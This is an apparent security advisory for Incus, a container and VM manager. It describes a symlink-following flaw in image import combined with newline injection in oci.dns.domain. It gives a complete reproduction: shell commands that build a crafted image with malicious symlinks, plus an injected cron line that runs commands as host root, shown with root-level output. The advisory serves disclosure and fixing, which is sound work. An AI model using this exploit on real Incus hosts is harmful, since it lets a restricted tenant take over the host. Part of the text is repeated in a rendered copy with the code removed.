Summary
Incus extracts a unified image's top-level files straight into the instance directory, and later writes to two of those paths as root without checking for symlinks: backup.yaml (at instance create) and network/resolv.conf (at OCI container start). An imported image can ship those names as absolute symlinks pointing anywhere on the host. When the instance is created and started, incusd follows them and writes root-owned files outside the instance directory.
Because oci.dns.domain and oci.dns.search accept newlines, the content written to resolv.conf is attacker-controlled. Pointing that symlink at /etc/cron.d/ turns the write into root command execution.
This is reachable by importing a crafted image (incus image import), not by pulling one from an OCI/Docker registry - the registry path rebuilds the metadata tarball from only config.json and metadata.yaml, so it can't carry these entries.
Who can do this
The relevant boundary is the project-scoped (restricted) certificate, which Incus treats as an "operator (internal/server/auth/driver_tls.go:83-94, role assigned at :242). Such a user has full rights inside their own project - including importing images and creating/starting instances - but is not a server admin and is confined to their project. This bug lets that operator write files as root on the host, escaping the project.
It does not add any privilege in the default single-admin setup (local socket, one unrestricted cert), where an image importer is already root-equivalent. The PR:L score assumes the restricted/multi-tenant model.
Root cause
-
Image top-level content is unpacked into the instance directory and never sanitized. getImageMetadata() (cmd/incusd/images.go) only checks that metadata.yaml and a rootfs/ entry exist; it doesn't reject extra entries like network/ or backup.yaml. ImageUnpack() (internal/server/storage/utils.go) only Lstats rootfs for a symlink. On the dir backend the whole tarball goes straight into the instance volume.
-
Two root writes under the instance dir use plain os.WriteFile/os.Create, which follow symlinks. The sibling templates and credentials writes in the same driver were already moved to os.OpenRoot; these two were not.
| Path |
Location (7.2.0 → main) |
Written at |
Instance types |
network/resolv.conf |
driver_lxc.go:2635 → :2644 |
OCI start |
OCI containers |
backup.yaml |
backend.go:6967 → :7042 |
instance create |
all containers + VMs |
-
oci.dns.domain / oci.dns.search use validate.IsAny (internal/instance/config.go:816/825, :830/839 on main), so newlines pass. resolv.conf is built with fmt.Fprintf(&resolvConf, "domain %s\n", value), so a newline in the value adds a second, fully controlled line.
backup.yaml is the broader of the two: it needs no config.json or oci.* config, fires on create for every instance type, and isn't fixed by hardening only the network/ writes.
Call path
Create → instanceCreateFromImage() (instance.go:137) → CreateInstanceFromImage() (backend.go:1824) unpacks the image into the instance dir (planting the symlinks), then UpdateBackupFile() (instance.go:273) → os.Create(inst.Path()/backup.yaml) (backend.go:7042) follows the symlink.
Start → config generation checks PathExists(d.Path()/config.json) (driver_lxc.go:2426), then os.WriteFile(d.Path()/network/resolv.conf, …) (:2644) follows the symlink.
What I tested
Incus 7.2 (client and server), dir storage backend, incus admin init --minimal, Ubuntu 24.04. One crafted image with both symlinks.
incus init wrote the backup.yaml symlink target as root:root, mode 0400, outside the instance dir, containing the instance's backup YAML. No start needed.
incus start wrote the resolv.conf symlink target as root:root, mode 0644. The nested container start then failed under Docker (forklxc), but the write happens during config generation before that, so it lands regardless. On a full VM the start also completes.
- Root command execution via
/etc/cron.d: this needs one detail. A value like x\n* * * * * root <cmd> writes domain x as the first line, which cron 3.0pl1 (Debian/Ubuntu) treats as a syntax error and drops the whole file - nothing runs. Prefixing the value with = (so the line becomes domain =x) makes cron read it as an environment assignment (domain=x), the file is accepted, and the next line runs. With that, cron executed the injected command as root; the proof file contained uid=0(root) gid=0(root) groups=0(root).
The arbitrary root write itself needs no cron and no other component. Code execution needs a host-side consumer of the file - cron is the one I demonstrated (present by default on most server distros), and needs the = trick above. Other consumers (~root/.ssh/authorized_keys, /etc/ld.so.preload) have their own preconditions.
Reproduction
Tested on a disposable host with Incus 7.2.0 and a dir storage pool (incus admin init --minimal). Everything below runs as an ordinary Incus user against their own project; the files that get written are owned by root.
1. Build the crafted image
The same image carries both symlinks. backup.yaml is aimed at a harmless /tmp marker (proves the write); network/resolv.conf is aimed at /etc/cron.d (proves code execution). Point both at /tmp if you only want the write proof.
mkdir -p img/rootfs img/network
cat > img/metadata.yaml <<'EOF'
architecture: x86_64
creation_date: 1
properties:
type: oci
EOF
# minimal but valid OCI runtime spec; process.args is dereferenced before the resolv.conf write
printf '{"ociVersion":"1.0.2","process":{"user":{"uid":0,"gid":0},"args":["/bin/sh"],"cwd":"/"},"root":{"path":"rootfs"}}' > img/config.json
ln -s /tmp/incus-write-proof img/backup.yaml # write target (create)
ln -s /etc/cron.d/incus-rce img/network/resolv.conf # RCE target (start)
tar --owner=0 --group=0 --numeric-owner -C img -cf image.tar \
metadata.yaml rootfs config.json network backup.yaml
tar -tf image.tar # confirms the two entries are symlinks
2. Arbitrary root write - backup.yaml, fires at create
incus image import image.tar --alias evil
incus init evil victim
stat -c '%n %U:%G %a' /tmp/incus-write-proof
Expected: the file exists outside any instance directory, owned by root:
/tmp/incus-write-proof root:root 400
/tmp/incus-write-proof now holds the instance's backup YAML - proof that os.Create(inst.Path()/backup.yaml) followed the symlink. This alone is the arbitrary-write primitive and needs no container start.
3. Root command execution - resolv.conf into /etc/cron.d
The injected value must start with = so the first line becomes domain =x, which cron reads as an environment assignment; without it, the leading domain x line is a cron syntax error and Debian/Ubuntu cron drops the whole file.
incus config set victim oci.dns.domain "$(printf '=x\n* * * * * root id > /tmp/rce 2>&1')"
incus start victim # writes /etc/cron.d/incus-rce via the symlink (start itself may error afterwards)
cat /etc/cron.d/incus-rce
Expected file (root:root, 0644):
domain =x
* * * * * root id > /tmp/rce 2>&1
Within a minute cron runs it as root:
sleep 65; cat /tmp/rce
# uid=0(root) gid=0(root) groups=0(root)
Cleanup
incus delete -f victim; incus image delete evil
rm -f /tmp/incus-write-proof /tmp/rce /etc/cron.d/incus-rce
Impact
Arbitrary create/truncate of any root-writable file on the host (I:H/A:H): truncate /etc/shadow, overwrite a systemd unit, corrupt incusd state. Root command execution (C:H/I:H/A:H) when the write lands in a file a root process reads, as shown with cron. The write is in the host mount namespace and isn't limited by the container's user namespace or privilege level.
Fix
- Do the writes under the instance dir through
os.OpenRoot (already used for templates and credentials): backup.yaml, network/resolv.conf, network/hosts, network/hostname, network/dhcp.skip.
- After unpack, reject or remove daemon-owned top-level entries (
network/, backup.yaml, config.json, credentials/, state/, …) instead of trusting the image; extend the existing rootfs symlink check to them.
- Reject
\r/\n in oci.dns.domain and each oci.dns.search element.
Summary
Incus extracts a unified image's top-level files straight into the instance directory, and later writes to two of those paths as root without checking for symlinks:
backup.yaml(at instance create) andnetwork/resolv.conf(at OCI container start). An imported image can ship those names as absolute symlinks pointing anywhere on the host. When the instance is created and started,incusdfollows them and writes root-owned files outside the instance directory.Because
oci.dns.domainandoci.dns.searchaccept newlines, the content written toresolv.confis attacker-controlled. Pointing that symlink at/etc/cron.d/turns the write into root command execution.This is reachable by importing a crafted image (
incus image import), not by pulling one from an OCI/Docker registry - the registry path rebuilds the metadata tarball from onlyconfig.jsonandmetadata.yaml, so it can't carry these entries.Who can do this
The relevant boundary is the project-scoped (restricted) certificate, which Incus treats as an "operator (
internal/server/auth/driver_tls.go:83-94, role assigned at:242). Such a user has full rights inside their own project - including importing images and creating/starting instances - but is not a server admin and is confined to their project. This bug lets that operator write files as root on the host, escaping the project.It does not add any privilege in the default single-admin setup (local socket, one unrestricted cert), where an image importer is already root-equivalent. The
PR:Lscore assumes the restricted/multi-tenant model.Root cause
Image top-level content is unpacked into the instance directory and never sanitized.
getImageMetadata()(cmd/incusd/images.go) only checks thatmetadata.yamland arootfs/entry exist; it doesn't reject extra entries likenetwork/orbackup.yaml.ImageUnpack()(internal/server/storage/utils.go) onlyLstatsrootfsfor a symlink. On the dir backend the whole tarball goes straight into the instance volume.Two root writes under the instance dir use plain
os.WriteFile/os.Create, which follow symlinks. The siblingtemplatesandcredentialswrites in the same driver were already moved toos.OpenRoot; these two were not.network/resolv.confdriver_lxc.go:2635→:2644backup.yamlbackend.go:6967→:7042oci.dns.domain/oci.dns.searchusevalidate.IsAny(internal/instance/config.go:816/825,:830/839on main), so newlines pass.resolv.confis built withfmt.Fprintf(&resolvConf, "domain %s\n", value), so a newline in the value adds a second, fully controlled line.backup.yamlis the broader of the two: it needs noconfig.jsonoroci.*config, fires on create for every instance type, and isn't fixed by hardening only thenetwork/writes.Call path
Create →
instanceCreateFromImage()(instance.go:137) →CreateInstanceFromImage()(backend.go:1824) unpacks the image into the instance dir (planting the symlinks), thenUpdateBackupFile()(instance.go:273) →os.Create(inst.Path()/backup.yaml)(backend.go:7042) follows the symlink.Start → config generation checks
PathExists(d.Path()/config.json)(driver_lxc.go:2426), thenos.WriteFile(d.Path()/network/resolv.conf, …)(:2644) follows the symlink.What I tested
Incus 7.2 (client and server), dir storage backend,
incus admin init --minimal, Ubuntu 24.04. One crafted image with both symlinks.incus initwrote thebackup.yamlsymlink target asroot:root, mode 0400, outside the instance dir, containing the instance's backup YAML. No start needed.incus startwrote theresolv.confsymlink target asroot:root, mode 0644. The nested container start then failed under Docker (forklxc), but the write happens during config generation before that, so it lands regardless. On a full VM the start also completes./etc/cron.d: this needs one detail. A value likex\n* * * * * root <cmd>writesdomain xas the first line, which cron 3.0pl1 (Debian/Ubuntu) treats as a syntax error and drops the whole file - nothing runs. Prefixing the value with=(so the line becomesdomain =x) makes cron read it as an environment assignment (domain=x), the file is accepted, and the next line runs. With that, cron executed the injected command as root; the proof file containeduid=0(root) gid=0(root) groups=0(root).The arbitrary root write itself needs no cron and no other component. Code execution needs a host-side consumer of the file - cron is the one I demonstrated (present by default on most server distros), and needs the
=trick above. Other consumers (~root/.ssh/authorized_keys,/etc/ld.so.preload) have their own preconditions.Reproduction
Tested on a disposable host with Incus 7.2.0 and a dir storage pool (
incus admin init --minimal). Everything below runs as an ordinary Incus user against their own project; the files that get written are owned by root.1. Build the crafted image
The same image carries both symlinks.
backup.yamlis aimed at a harmless/tmpmarker (proves the write);network/resolv.confis aimed at/etc/cron.d(proves code execution). Point both at/tmpif you only want the write proof.2. Arbitrary root write -
backup.yaml, fires at createincus image import image.tar --alias evil incus init evil victim stat -c '%n %U:%G %a' /tmp/incus-write-proofExpected: the file exists outside any instance directory, owned by root:
/tmp/incus-write-proofnow holds the instance's backup YAML - proof thatos.Create(inst.Path()/backup.yaml)followed the symlink. This alone is the arbitrary-write primitive and needs no container start.3. Root command execution -
resolv.confinto/etc/cron.dThe injected value must start with
=so the first line becomesdomain =x, which cron reads as an environment assignment; without it, the leadingdomain xline is a cron syntax error and Debian/Ubuntu cron drops the whole file.Expected file (root:root, 0644):
Within a minute cron runs it as root:
Cleanup
incus delete -f victim; incus image delete evil rm -f /tmp/incus-write-proof /tmp/rce /etc/cron.d/incus-rceImpact
Arbitrary create/truncate of any root-writable file on the host (I:H/A:H): truncate
/etc/shadow, overwrite a systemd unit, corruptincusdstate. Root command execution (C:H/I:H/A:H) when the write lands in a file a root process reads, as shown with cron. The write is in the host mount namespace and isn't limited by the container's user namespace or privilege level.Fix
os.OpenRoot(already used for templates and credentials):backup.yaml,network/resolv.conf,network/hosts,network/hostname,network/dhcp.skip.network/,backup.yaml,config.json,credentials/,state/, …) instead of trusting the image; extend the existingrootfssymlink check to them.\r/\ninoci.dns.domainand eachoci.dns.searchelement.